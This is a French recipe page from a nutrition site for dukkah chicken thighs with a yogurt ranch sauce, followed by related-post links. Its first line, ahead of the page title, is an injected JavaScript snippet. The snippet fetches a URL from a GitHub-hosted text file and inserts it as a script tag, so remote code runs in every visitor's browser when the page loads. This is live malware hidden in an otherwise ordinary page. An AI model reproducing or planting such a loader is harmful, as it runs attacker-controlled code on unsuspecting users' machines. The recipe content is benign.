;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Poulet au Dukkah – Haute Nutrition
Facebook Pinterest Instagram Spotify Youtube
appel exploratoire
Approuvé par coach Sylvia / Hormones Rebelles / index de recettes / recettes / Repas principal

Poulet au Dukkah

février 7, 2019

 

Poulet au Dukkah

Print Recipe Pin Recipe
Prep Time 10 mins
Cook Time 20 mins
Total Time 25 mins
Course Main Course
Servings 4 portions

Ingredients
  

  • 10 haut de cuisse de poulet
  • 4 c. à soupe dukkah mélange d'épices (coriandre, sésame,fenouil,cumin, pistaches,

Sauce Ranch

  • 1 tasse yogourt
  • 2 c. à soupe sauce anglaise
  • 1 c. à thé citron
  • 1 tabasco au goût
  • 1 oignons verts

Instructions
 

  • Pré-chauffer le four à 350F
  • Écraser les épices de Dukkah dans un mortier ou mélanger dans un moulin à café/épices.
    Étendre le mélange d'épice sur les hauts de cuisse 
  • Faire cuire 15-20 minutes, jusqu'à ce que la température du poulet atteigne 165F

Sauce Ranch

  • Couper oignons verts en tranches
  • Mélanger les autres ingrédients ensemble et servir froide dans un petit bol avec poulet chaud

Notes

Servir avec la salade Panzanella ou autre salade

You May Also Like

Rouleau de Printemps

mai 30, 2017

Saumon laqué à l’érable, recette de saumon santé

juin 5, 2017

Dormir Enfin !!! Avec l’aide du soleil.

août 14, 2018
chocolat smoothie bowl with strawberries

recevez gratuitement

Abonnez-vous pour recevoir mes derniers trucs, conseils et recettes.

Pour une santé optimal

@hautenutrition

Copyright © 2022 Haute Nutrition tous droits réservés. Site Powered by Pix & Hue.